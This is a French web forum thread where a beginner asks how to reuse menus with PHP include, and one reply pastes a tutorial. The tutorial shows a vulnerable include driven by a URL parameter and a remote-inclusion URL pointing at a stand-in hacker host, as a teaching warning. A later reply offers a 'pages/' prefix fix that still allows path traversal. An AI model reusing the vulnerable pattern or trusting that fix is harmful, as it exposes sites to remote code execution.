Flux rss
Collection CommentCaMarche.net
Rechercher : dans
Par : Pertinence Date Nom d'utilisateur
Statut : Non résolu

Souçi avec la fonction include de php

seb19780, le lundi 31 décembre 2007 à 15:37:23
Bonjour,

Je suis en train de créer mon site avec Dreamweaver version 8.

Sur ma page d'accueil, j'ai inséré un menu à gauche et en haut par un calque à gauche et un calque en haut de ma page (car je préfère les calques au lieu des frames).

Dans ces deux menus, j'ai des rubriques qui ont un lien donnant accès à une autre page.

Je voudrais que mes deux menus (celui de gauche et du haut) de ma page apparaisse sur toutes mes autres pages web mais aussi les liens des rubriques qui sont dans les menus.

Sans parler de mes autres pages web, je voudrais déjà retrouver mes 2 menus de ma page d'accueil (nomer index.html) sur une de mes pages web qui se nome (annuaire.html).

Je pourrais bien évidement utilisé des frames sur ma pages d'accueil mais je préfère les calques car déjà ils se positionnent plus facilement à l'endroit où l'on veut.

J'ai entendu parler sur des forums de la fonction (include) dont la balise php doit être : <?php include(nom de ma page); ?> car c'est cette balise que Dreamweaver me propose et qui permettrai de retrouvé le menu ma page d'accueil sur toutes mes autres pages web.

Mais le souçi c'est que je me demande bien sur quelle page inséré cette balise php et surtout à quel endroit précis car j'ai bien essayé grâce à des tutoriels de faire cette manipulation mais çà ne marche pas et j'ai donc surement du mal m'y prendre.

Pour avoir mes deux menus (gauche et haut) de ma page d'accueil nomer (index.html) sur ma page web (annuaire.html), sur quelle page dois-je inséré cette balise php ? et à quel endroit précis ?

Ensuite je suppose qu'une fois cette balise inclus, mes 2 pages doivent avoir l'extention (php) ? mais je ne sais pas si c'est sur les deux pages.

Si quelqu'un pourrais me renseigner en détail étape par étape comment faire cette manipulation afin que je comprenne bien, çà serait bien car ce souçi m'empêche d'avancer mon site tant que mes deux menus de ma page d'accueil n'apparaissent pas sur mes autres pages web sachant que j'ai préférré insérer des calques pour le menu de gauche et du haut de ma page d'accueil.

Merçi de me renseigner à mon message ou sur msn et je vous laisse mon adresse msn qui est seb197844@live.fr afin de me renseigner en direct sur msn si vous voulez ou directement sur ce forum.

Merçi d'avance

Séb
Configuration: Windows XP
Firefox 3.0
Répondre à seb19780  Signaler ce message aux modérateurs Aller au dernier message

1


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
micka30, le lundi 31 décembre 2007 à 15:42:55
BONNE LECTURE§


La fonction include
Nous n'allons parler que d'une seule fonction : include. Elle est très simple d'emploi et fréquemment utilisée car très puissante.

Que fait cette fonction ?
Elle permet d'inclure le contenu d'une page PHP dans une autre page PHP.
Et c'est très utile ! Concrètement, supposons que sur votre site web il y ait un menu à gauche. Ce menu est affiché sur toutes les pages de votre site.
Jusqu'ici, vous deviez copier-coller ce menu dans toutes les pages, et si vous deviez modifier le menu eh bien il fallait modifier toutes les pages !

Grâce à l'include, vous dites à PHP sur chacune de vos pages : "Mets ici le contenu de la page menu.php". PHP va alors "prendre" le contenu de la page menu.php et le mettre là où vous lui avez dit.
Ainsi, si vous voulez modifier votre menu, vous modifiez juste menu.php et toutes les pages de votre site web sont automatiquement mises à jour ! C'est vraiment quelque chose de génial, et pour tout vous dire c'est en découvrant ça que j'ai décidé de me mettre au PHP

Voici comment on fait pour inclure la page menu.php :

Code : PHP - Afficher / masquer les numéros de ligne<?php
include("menu.php");
?>

C'est un code tout simple. PHP voit l'instruction include, il va aller chercher la page menu.php et la mettre à la place de cette instruction.

Un exemple concret ? N'allez pas chercher bien loin, regardez ce site web. Oui oui, le Site du Zér0 utilise beaucoup les includes. Voici le sommaire du cours de PHP (page index.php) :





La page index.php contient 2 includes : haut.php (pour le logo, la pub...) et menu.php (le menu du Site du Zér0). Vient ensuite le contenu proprement dit de index.php, c'est-à-dire le sommaire du cours de PHP. Le code PHP de index.php ressemble donc à cela :

Code : PHP - Afficher / masquer les numéros de ligne<div id="haut">
<?php
// On inclue le haut de la page
include("haut.php");
?>
</div>

<div id="menu">
<?php
// Puis on inclue le menu
include("menu.php");
?>
</div>


<?php
// Maintenant on met le code de notre page (ce qu'on veut)
// Ce code peut bien entendu contenir du PHP comme du HTML
?>

<h1>
<img src="images/elephpant.gif" alt="ElePHPant" /> Un site dynamique avec PHP ! <img src="images/elephpant.gif" alt="ElePHPant" />
</h1>

<div class="question">
Mais pourquoi tous les sites web se mettent au PHP ? Que peut-on faire avec ?<br />
Et pis, c'est quoi PHP ???
</div>

<p>Hola hola, pas de panique amis Zér0s, ce tutoriel est là pour tout vous expliquer :o)...</p>
On a en premier les 2 includes (haut.php et menu.php), et après on a mis le code de notre page. Toutes les pages du site fonctionnent comme ça !

Vous remarquerez que j'utilise des calques (balise <div>) pour la présentation, mais vous faites comme vous voulez. Bien entendu, pour placer ces calques dans la page (menu à gauche, en-tête en haut etc...) j'utilise une feuille de style CSS.
Si vous ne savez pas faire une mise en page (un design) de votre site web, je vous recommande d'aller lire le tutoriel (x)HTML disponible sur ce site qui vous explique comment vous servir des balises <div> et comment les positionner pour construire votre design.

Au fait, on peut sans problème mettre du code PHP dans les pages haut.php et menu.php
Bien, et si nous passions à la pratique ?
On veut par exemple afficher le titre de notre site en haut de toutes les pages. On va créer une page titre.php, qui sera incluse dans toutes les pages. On va aussi créer une page test.php pour tester l'inclusion.

On va mettre dans titre.php ce qu'on veut (HTML, PHP etc...). Pour ma part je fais simple, j'écris juste le nom du site :

Code : HTML - Afficher / masquer les numéros de ligne<h2>Le Site du Zér0</h2>
La page test.php est une page d'exemple de notre site. Toutes les pages du site ressembleront à celle-ci :

Code : PHP - Afficher / masquer les numéros de ligne<?php include("titre.php"); ?>

<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>

On teste ce code ? Le bouton ci-dessous va ouvrir test.php :


Essayer !

Faites pareil chez vous, vous allez voir que c'est très facile à faire !

Un petit schéma pour résumer :





Ce schéma, bien que très moche car fait par moi, illustre bien ce qu'il se passe. Lorsque l'internaute demande à voir test.php, l'instruction include est remplacée par le contenu de titre.php.
Ce qui fait qu'à la fin, la page que l'internaute chargera contiendra ce code :

Code : HTML - Afficher / masquer les numéros de ligne<h2>Le Site du Zér0</h2>

<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>
C'est très facile à comprendre, avouez

Voilà, en théorie vous savez tout ce qu'il y a à savoir mais... je ne vais pas vous abandonner là, je ne suis pas comme ça
En effet, nous allons voir dans une seconde partie de ce chapitre comment mettre en place concrètement des includes sur votre site web.

--------------------------------------------------------------------------------

Bien utiliser les includes
Grosso modo, on peut considérer qu'il y a 2 méthodes pour utiliser les includes sur son site : la brutale et la dangereuse. Je suis plutôt un adepte de la méthode brutale car je préfère être sûr de ne pas laisser une porte grande ouverte aux apprentis hackers.

QUOIIIII ?!!! Que vois-je ?! Qu'entends-je ?!
Je risque de me faire hacker mon site avec les includes et tu me le dis même pas ?
Bah non, faut pas pleurer comme ça voyons
J'allais justement vous en parler. Suivez avec attention tout ce que je vais vous dire.

Méthode n°1 : la brutale

On commence par ma préférée : la méthode dite "brutale" (bien entendu ce n'est pas un nom officiel, c'est moi qui l'appelle comme ça )

Cette méthode a un avantage et un défaut :

Avantage : vous n'avez aucun risque de vous faire hacker avec cette méthode (c'est pour ça que je la préfère).
Défaut : si vous voulez changer complètement le design de votre page web, il se peut (je dis bien "il se peut") que vous deviez tout refaire si vous avez utilisé la méthode brutale. Par ailleurs, elle fait un peu moins "pro", mais elle est tellement plus sûre...

Ne tournons pas autour du pot, cette méthode est simple : elle consiste à copier-coller l'instruction include sur toutes les pages web de votre site :

Code : PHP<?php include("haut.php"); ?>

<p>
Ceci est une page X de votre site.<br />
Tout le code de vos pages ressemble à ceci : il y a un include en haut, et un include en bas.<br />
</p>

<?php include("bas.php"); ?>

Dans les pages haut.php et bas.php, vous mettez ce que vous voulez. Par exemple, dans haut.php je mettrais le titre du site et les premiers tags html : <html>, <head>, <title> etc... Ce qu'on trouve en haut du code d'une page web quoi...
Dans bas.php, vous inscrivez par exemple un copyright, le nom du webmaster, puis vous fermez les balises </body> et </html>

Méthode n°2 : la dangereuse

De la même manière que la méthode précédente, il y a un avantage et un défaut :

Avantage : on peut facilement changer toute l'apparence de votre site sans problème. Certains trouveront aussi peut-être ce code plus "séduisant" (si toutefois il est possible de trouver un code séduisant )
Défaut : si vous ne faites pas très attention au code que vous écrivez, votre site web sera vulnérable et il sera assez facile de récupérer votre mot de passe MySQL par exemple...

A noter que cette méthode est utilisée par un bon nombre de sites web, mais encore une fois je ne vous la conseille pas trop.

Le fonctionnement est ici complètement l'inverse : au lieu d'inclure l'en-tête de vos pages, les menus etc... Vous créez une page qui contient tout sauf le corps de votre page : vous mettez donc vos balises <html>, <head>, <title>, vos menus, votre copyright, puis vous fermez les balises </body> et </html>.
Et là, vous allez inclure la page que vous souhaitez afficher. Par exemple, si vous voulez inclure la page minichat.php, vous ferez comme ceci :

Code : PHP<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php include("minichat.php"); ?>


<p>Ce site a été écrit par Mateo21.</p>

</body>

</html>

Et si je veux inclure une autre page, je fais comment ? Je refais une page comme celle-là et j'inclue mon autre page cette fois ?
Pas du tout, malheureux !
L'astuce utilisée ici, c'est que l'on va recevoir une variable avec l'url. Vous vous souvenez de index.php?langue=fr&truc=bidule n'est-ce pas ? Eh bien, dans toutes les pages du site, on va transmettre une information qui contiendra le nom de la page à inclure, par exemple :

index.php?page=minichat

On reprend maintenant le code 3.1.7 :

Code : PHP<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
$page = $_GET['page'];
include("$page.php");
?>

<p>Ce site a été écrit par Mateo21.</p>

</body>

</html>

Si l'url contient index.php?page=minichat, alors on incluera minichat.php
Si l'url contient index.php?page=news, alors on incluera news.php
Si l'url contient index.php?page=forum, alors on incluera forum.php
Si l'url contient index.php?page=http://www.hacker.com/pagespeciale, alors on incluera http://www.hacker.com/pagespeciale.php

Euh, attends une minute là, tu peux m'expliquer le dernier exemple ?
Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette instruction :
<?php include("http://www.hacker.com/pagespeciale.php"); ?>

Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi, et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).

Et alors ?Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"
Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse certains abrutis (et je pèse mes mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là

Bien entendu, on ne peut pas dire à PHP de sortir tous les mots de passe du site comme ça, c'est un peu plus compliqué. Mais, réveillez-vous : vous êtes ici pour apprendre le PHP, pas pour apprendre comment hacker un site web hein ?
Moi, tout ce qui m'intéresse ici, c'est de vous sensibiliser au fait que ce que vous écrivez en PHP peut mettre en danger la sécurité de votre site. Vous venez de le voir sur un exemple concret : je viens de vous faire, sans que vous vous en rendiez compte, une ouverture aux problèmes de sécurité du PHP. Ce sont des problèmes qui ne vous préoccupent pas encore trop pour le moment, mais quand vous serez bons (et vous n'allez pas tarder à l'être, croyez-moi ^^), vous verrez que vous ferez très attention à la sécurité sur votre site.
Pour le moment, je vous rassure, on n'en est pas encore là, alors vous pouvez continuer à lire le tuto PHP tranquillement. Vous apprendrez tout cela petit à petit

Avant de nous quitter, voyons une des solutions possibles pour résoudre le problème de sécurité (il y en a plusieurs) :

Code : PHP<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
if ($_GET['page'] == "minichat")
{
include("minichat.php");
}

if ($_GET['page'] == "news")
{
include("news.php");
}

if ($_GET['page'] == "forum")
{
include("forum.php");
}

?>

<p>Ce site a été écrit par Mateo21.</p>

</body>

</html>

Si un hacker essaie de changer l'url, aucun des if ne sera valable donc rien ne sera inclus. Ouf !
Ca implique de faire autant de if qu'il n'y a de pages sur votre site, c'est pas super pratique... Voilà pourquoi je préfère (et vous conseille d'utiliser) la première méthode !
Répondre à micka30

2


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
seb19780, le lundi 31 décembre 2007 à 17:00:28
Merçi pour votre réponse, je vais donc aller voir cela sur le site du zéro concernant la fonction include en espérant que j'y arrive, sinon je vous le dit si j'y arrive pas afin que vous m'expliquer plus en détail étape par étape.

Cordialement

Séb
Répondre à seb19780

3


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
seb19780, le mercredi 2 janvier 2008 à 16:39:02
Bonjour Micka30,

J'ai donc été sur le site du zro que je connaissais déjà mais je ne savais pas qu'ils parlait de la fonction include de php.

J'ai donc réussi à comprendre leur explication sur cette merveilleuse fonction et je retrouve donc bien mes menus de ma page d'accueil sur mes autres pages web par cette fonctikn que j'ai inséré avec Dreamweaver version 8 mais j'ai un petit souçi :

Mes menus de ma pages d'accueil qui sont donc sur mes autres pages web apparaissent bien vers l'endroit où je veux mais pas précisément à l'endroit où je veux.

En fait moi j'inclus juste la balise de la fonction include en php pour que je retrouve mes menu sur mes autres pages web sachant que je rappelle que je je n'utilise que des calques car je préfère les calques mais ensuite je n'ai aucun moyen de savoir l'endroit précis que mes menus seront placés exactement à l'endroit où je veux sur mes pages web et comment faire cela pour positionner correctement mes menus sur mes autres pages web après avoir mis la fonction include de php ?

Bonne année et meilleurs voeux.

Séb
Répondre à seb19780

4


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
saba, le mercredi 23 avril 2008 à 12:16:05
bonjour
je suis entrain de creer mon site qui est un interface web qui permet de l'importation de fichiers des utilisateurs dans le serveur mais selon leur droit d'accées requis. et chaque user possède son propre dossier qui appartient a un arborescences et aussi l'utilisateur peut donner a un autre utilisateur le droit d'accéder a son fichier(si en lire et écriture ou en lire seulement).mon site est presque une copie conforme de "google documents".
j'ai une problème dans la création de menu qui doit etre apparait dans tout les autres pages et aussi comment faire un lien qui permet de choisir un dossier dans le quelle il uploader son fichier et une autre lien qui ouvre une fenetre qui contient tout les contactes et lorsque on clik sur l'une de se contactes on peut voir son fichier dont il me donne le droit.
vous pouvez me repondre a ce forum ou bien sur mon msn: (salah_bg@hotmail.com)
mercie
Répondre à saba

5


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
smile, le lundi 2 juin 2008 à 00:10:51
Et en ce qui concerne le référencement, google ca lire le contenue des includes ou s'arreter ?
Répondre à smile

6


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
 www.namworld.com, le dimanche 12 octobre 2008 à 20:48:00
Ahem, autre solution pour ne pas se faire hacker:

Version hackable:
<?php
$page = $_GET['page'];
include("$page.php");
?>

Nouvelle version (pages dans un dossier de pages):
<?php
$page = $_GET['page'];
include("pages/$page.php");
?>

Si un malin met une url de script php dans l'url de votre site, http://www.hacker.com/pagespeciale
pour charger http://www.hacker.com/pagespeciale.php

ca donne qu'on charge la page du dossier pages qui se nomme http://www.hacker.com/pagespeciale.php , soit pages/http://www.hacker.com/pagespeciale.php ce qui n'est pas une page existant dans le dossier et cela permet de garder la fonction sous sa forme plus pratique.

Problème doublement résolu
Répondre à www.namworld.com

Résultats pour Souçi avec la fonction include de php

PHP: fonction include et liens relatifs (Résolu) Tout d'abord salut ! Bon sur mon site j'ai essayé le PHP car j'ai besoin de cette fameuse fonction "include". Comme ça je peux faire un menu commun à tout mon site. J'ai donc un dossier: /home/acceuil.php avec ma page... www.commentcamarche.net/forum/affich-4916497-php-fonction-include-et-liens-relatifs
Fonction include (Résolu) Bonjour, Je vodrais avoir des éclaircissements sur la fonction include. je suis en train de lire un tuto de cette fonction sur le site du zero et je suis un peu perdu. d'après ce que je comprends cette fonction permet d'inclure le contenu... www.commentcamarche.net/forum/affich-3697068-fonction-include
Code d'include php (Résolu) Bonjour, j'aurai besoin d'un code d'include php similaire a celui la si c possible : www.commentcamarche.net/forum/affich-3783298-code-d-include-php

Résultats pour Souçi avec la fonction include de php

Warning: rmdir(..): Directory not emptyIntroduction Le code de la fonction (compatible PHP 5 ou supérieur) Mise en garde pour la sécurité Introduction Lorsque vous tentez d'effacer un dossier en PHP, il peut arriver que vous rencontriez l'erreur suivante: Warning: rmdir(..):... www.commentcamarche.net/faq/sujet-12255-warning-rmdir-directory-not-empty
[PHP] Fonction mail()La fonction mail() est bloquée chez certains des hébergeurs gratuits pour des raisons de sécurité (afin d'éviter le spam notamment), l'adresse ip de la machine qui a demandé le script sera alors indiquée dans le header 'X-MM-Mail-From-IP'. renseignez... www.commentcamarche.net/faq/sujet-117-php-fonction-mail
[PHP] Notice: Undefined index:Si vous utilisez les tableaux $_POST ou $_GET pour récupérer les variables de vos formulaires ou autres, il se peut que vous tombiez sur cette erreur: Notice: Undefined index 'champs du tableau' in 'chemin du fichier php en cours d'execution' on line... www.commentcamarche.net/faq/sujet-1391-php-notice-undefined-index

Résultats pour Souçi avec la fonction include de php

Probleme php avec include( ) (Résolu)Salut tout le monde ! Voilà j'ai un probleme avec la fonction include() en php. En fait je voudrais que la mise en page soit la meme dans toutes les pages de mon site. On m'a dit de faire un include. Mais ca ne marche pas. Voila le code de... www.commentcamarche.net/forum/affich-6691664-probleme-php-avec-include
Probleme include/css (Résolu)Bonjour, voila je suis en train de créer mon premier site web mais j'ai un gros problème avec la fonction include() de mon script. Quant j'include mon menu sur ma page (qui s'appelle controle) il m'inclut bien ma page en php mais... www.commentcamarche.net/forum/affich-6059782-probleme-include-css
Différence entre include et require (Résolu)Encore une question stupide mais quelle est donc la différence entre ces deux fonctions include() et require () ? Que votre route soit pavé de lumière . . .  www.commentcamarche.net/forum/affich-361887-difference-entre-include-et-require

Résultats pour Souçi avec la fonction include de php

PHP - Affichage de texte sur le navigateurLe but de PHP est de permettre la création de pages web dynamiques, ainsi son but premier est de pouvoir envoyer des données au navigateur. Les trois fonctions standards PHP fournit 3 fonctions permettant d'envoyer du texte au navigateur. Ces... www.commentcamarche.net/contents/php/phpaffich.php3
PHP - Mail et fonctions réseauPHP étant un langage consacré au Web, il possède bien évidemment des fonctions lui permettant de communiquer avec le "monde extérieur" à l'aide de fonctions standards. Le service le plus utilisé sur Internet étant la messagerie électronique, il est... www.commentcamarche.net/contents/php/phpmail.php3
PHP - Les classesLa notion de classe Php3 intègre un soupçon de caractéristiques empruntées aux langages orientés objet, c'est-à-dire la possibilité d'utiliser des objets, entités regroupant des données et des fonctions au sein d'une structure et rendant la... www.commentcamarche.net/contents/php/phpclass.php3